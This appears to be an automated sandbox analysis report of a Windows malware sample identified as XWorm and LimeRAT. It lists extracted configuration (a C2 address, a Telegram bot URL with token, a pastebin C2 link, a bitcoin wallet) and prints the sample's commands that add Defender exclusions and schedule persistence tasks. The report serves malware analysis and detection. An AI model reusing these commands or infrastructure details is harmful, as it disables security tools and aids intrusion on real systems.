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Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/04/2024, 09:16

General

  • Target

    b019a47dc528a7197129adec69ea6813c28e60884c267cd297524296861a9ed6.exe

  • Size

    49KB

  • MD5

    f8c0512008daff966ef349e7178d1239

  • SHA1

    2a74048cf5009ab0f850e3992ffe7a453e3e18a5

  • SHA256

    b019a47dc528a7197129adec69ea6813c28e60884c267cd297524296861a9ed6

  • SHA512

    f8c208da88e213f96531b09ea4cdffd82368373aeb9868f11e35135052cf80ffceb89c64da83969aa2df3505579fefc673a0e6346b3b6c361a7d29089f56a3fa

  • SSDEEP

    768:FpJRqkmuoYiL7pr4y9iIn0N+LJwdFNt9cHpa6vOAh2HVXj+T3I:FpJRqVRNr42uNBFf9ipa6vOAwVST3I

Malware Config

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:7000

91.92.252.220:7000

Mutex

MeDwR8PJidtfrQQa

Attributes
  • Install_directory

    %AppData%

  • install_file

    explorer.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

aes.plain

Extracted

Family

limerat

Wallets

bc1q7p5qe345uqww9e4ut3nt08tu2lsgnvfsc40azt

Attributes
  • aes_key

    KILLER

  • antivm

    false

  • c2_url

    https://pastebin.com/raw/4EtQAvTV

  • delay

    3

  • download_payload

    false

  • install

    true

  • install_name

    browser.exe

  • main_folder

    AppData

  • pin_spread

    true

  • sub_folder

    \

  • usb_spread

    true

Signatures

  • Detect Xworm Payload 2 IoCs
  • LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\b019a47dc528a7197129adec69ea6813c28e60884c267cd297524296861a9ed6.exe
    "C:\Users\Admin\AppData\Local\Temp\b019a47dc528a7197129adec69ea6813c28e60884c267cd297524296861a9ed6.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b019a47dc528a7197129adec69ea6813c28e60884c267cd297524296861a9ed6.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'b019a47dc528a7197129adec69ea6813c28e60884c267cd297524296861a9ed6.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4912
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\explorer.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2192
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Admin\AppData\Roaming\explorer.exe"
      2⤵
      • Creates scheduled task(s)
      PID:1956
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\Admin\AppData\Roaming\browser.exe'"
      2⤵
      • Creates scheduled task(s)
      PID:232
    • C:\Users\Admin\AppData\Roaming\browser.exe
      "C:\Users\Admin\AppData\Roaming\browser.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3328
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\browser.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1920
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'browser.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\explorer.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2604
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Admin\AppData\Roaming\explorer.exe"
        3⤵
        • Creates scheduled task(s)
        PID:4332
  • C:\Users\Admin\AppData\Roaming\explorer.exe
    C:\Users\Admin\AppData\Roaming\explorer.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1688
  • C:\Users\Admin\AppData\Roaming\explorer.exe
    C:\Users\Admin\AppData\Roaming\explorer.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4912

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log

    Filesize

    654B

    MD5

    2ff39f6c7249774be85fd60a8f9a245e

    SHA1

    684ff36b31aedc1e587c8496c02722c6698c1c4e

    SHA256

    e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

    SHA512

    1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    d8cb3e9459807e35f02130fad3f9860d

    SHA1

    5af7f32cb8a30e850892b15e9164030a041f4bd6

    SHA256

    2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

    SHA512

    045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    9c740b7699e2363ac4ecdf496520ca35

    SHA1

    aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

    SHA256

    be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

    SHA512

    8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    eb1ad317bd25b55b2bbdce8a28a74a94

    SHA1

    98a3978be4d10d62e7411946474579ee5bdc5ea6

    SHA256

    9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98

    SHA512

    d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    c0b8748e607cdd30070e3d99f4d099fb

    SHA1

    88dce7272b1d4f036873da0dae0e6876bcb88aaf

    SHA256

    133460e080441a71ec35d7366bdecf5c6d78d9a8b987b56c46e8545c406c69f7

    SHA512

    a5ae9fd049b923567ee9b94be587ba495d9e7c0d9bbdbb3c0551788cae3475974d85018724308d81c0e1fd37b7ec719cd018db94e2d4bba3f3be164888dc09cc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d3e9c29fe44e90aae6ed30ccf799ca8

    SHA1

    c7974ef72264bbdf13a2793ccf1aed11bc565dce

    SHA256

    2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

    SHA512

    60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    5c8ea9d884103d067a1ba2e422a2b1ed

    SHA1

    3ddf0f71f84e1b595b6f8862c649445a6d188ed6

    SHA256

    d77147b11db5fdb60f2a0a1157944a3a59d713ff9996be33bd05d1e92fb2c28b

    SHA512

    8366f4756c2390a631d7083b03b40a335cd05ae5c302fe3512919200ac4980e8c6b94e2e9ce634ab75f6bfa06a851a23b29e43afef3ad58b1b70d3d6bc569aca

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    22310ad6749d8cc38284aa616efcd100

    SHA1

    440ef4a0a53bfa7c83fe84326a1dff4326dcb515

    SHA256

    55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

    SHA512

    2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2koqbaqq.giq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk

    Filesize

    778B

    MD5

    5b9a1c868d9d534bead3df34355a5ff9

    SHA1

    4b74472051384e81a087a468da31ecb0294d0acd

    SHA256

    ece200570b2e16526791ceb1a07d5e6c589b3195389e8cfb68ef57b3dc63ab90

    SHA512

    c14aaccc0424725b72a65d69b65c84e8cfbe81bd3fae7e03b63d3221fdb7c767bec9cf5ca76be336da5699a1f414452c49409923194da9c2e9d767f484777cd4

  • C:\Users\Admin\AppData\Roaming\explorer.exe

    Filesize

    49KB

    MD5

    f8c0512008daff966ef349e7178d1239

    SHA1

    2a74048cf5009ab0f850e3992ffe7a453e3e18a5

    SHA256

    b019a47dc528a7197129adec69ea6813c28e60884c267cd297524296861a9ed6

    SHA512

    f8c208da88e213f96531b09ea4cdffd82368373aeb9868f11e35135052cf80ffceb89c64da83969aa2df3505579fefc673a0e6346b3b6c361a7d29089f56a3fa

  • memory/1688-72-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/1688-74-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/1920-146-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/1920-134-0x000001EC73C70000-0x000001EC73C80000-memory.dmp

    Filesize

    64KB

  • memory/1920-133-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2124-0-0x0000000000FF0000-0x0000000001002000-memory.dmp

    Filesize

    72KB

  • memory/2124-116-0x000000001EDD0000-0x000000001F120000-memory.dmp

    Filesize

    3.3MB

  • memory/2124-77-0x000000001EAB0000-0x000000001EBCE000-memory.dmp

    Filesize

    1.1MB

  • memory/2124-130-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2124-76-0x0000000001690000-0x000000000169C000-memory.dmp

    Filesize

    48KB

  • memory/2124-1-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2124-2-0x000000001BCA0000-0x000000001BCB0000-memory.dmp

    Filesize

    64KB

  • memory/2124-68-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2124-69-0x000000001BCA0000-0x000000001BCB0000-memory.dmp

    Filesize

    64KB

  • memory/2188-44-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2188-45-0x000001CC55E40000-0x000001CC55E50000-memory.dmp

    Filesize

    64KB

  • memory/2188-48-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2188-46-0x000001CC55E40000-0x000001CC55E50000-memory.dmp

    Filesize

    64KB

  • memory/2192-61-0x0000019D0A500000-0x0000019D0A510000-memory.dmp

    Filesize

    64KB

  • memory/2192-60-0x0000019D0A500000-0x0000019D0A510000-memory.dmp

    Filesize

    64KB

  • memory/2192-59-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2192-63-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2604-188-0x0000012EAD740000-0x0000012EAD750000-memory.dmp

    Filesize

    64KB

  • memory/2604-191-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/2604-182-0x0000012EAD740000-0x0000012EAD750000-memory.dmp

    Filesize

    64KB

  • memory/2604-176-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3328-132-0x000000001BB00000-0x000000001BB10000-memory.dmp

    Filesize

    64KB

  • memory/3328-196-0x000000001BB00000-0x000000001BB10000-memory.dmp

    Filesize

    64KB

  • memory/3328-189-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3328-131-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3584-147-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3584-148-0x000001C8F1F50000-0x000001C8F1F60000-memory.dmp

    Filesize

    64KB

  • memory/3584-159-0x000001C8F1F50000-0x000001C8F1F60000-memory.dmp

    Filesize

    64KB

  • memory/3584-161-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3936-175-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/3936-173-0x000001746DC00000-0x000001746DC10000-memory.dmp

    Filesize

    64KB

  • memory/3936-172-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4756-15-0x00000210147B0000-0x00000210147D2000-memory.dmp

    Filesize

    136KB

  • memory/4756-5-0x00000210147A0000-0x00000210147B0000-memory.dmp

    Filesize

    64KB

  • memory/4756-18-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4756-4-0x00000210147A0000-0x00000210147B0000-memory.dmp

    Filesize

    64KB

  • memory/4756-3-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4912-25-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4912-31-0x00000201D54E0000-0x00000201D54F0000-memory.dmp

    Filesize

    64KB

  • memory/4912-33-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4912-200-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4912-201-0x00007FFD41C20000-0x00007FFD426E1000-memory.dmp

    Filesize

    10.8MB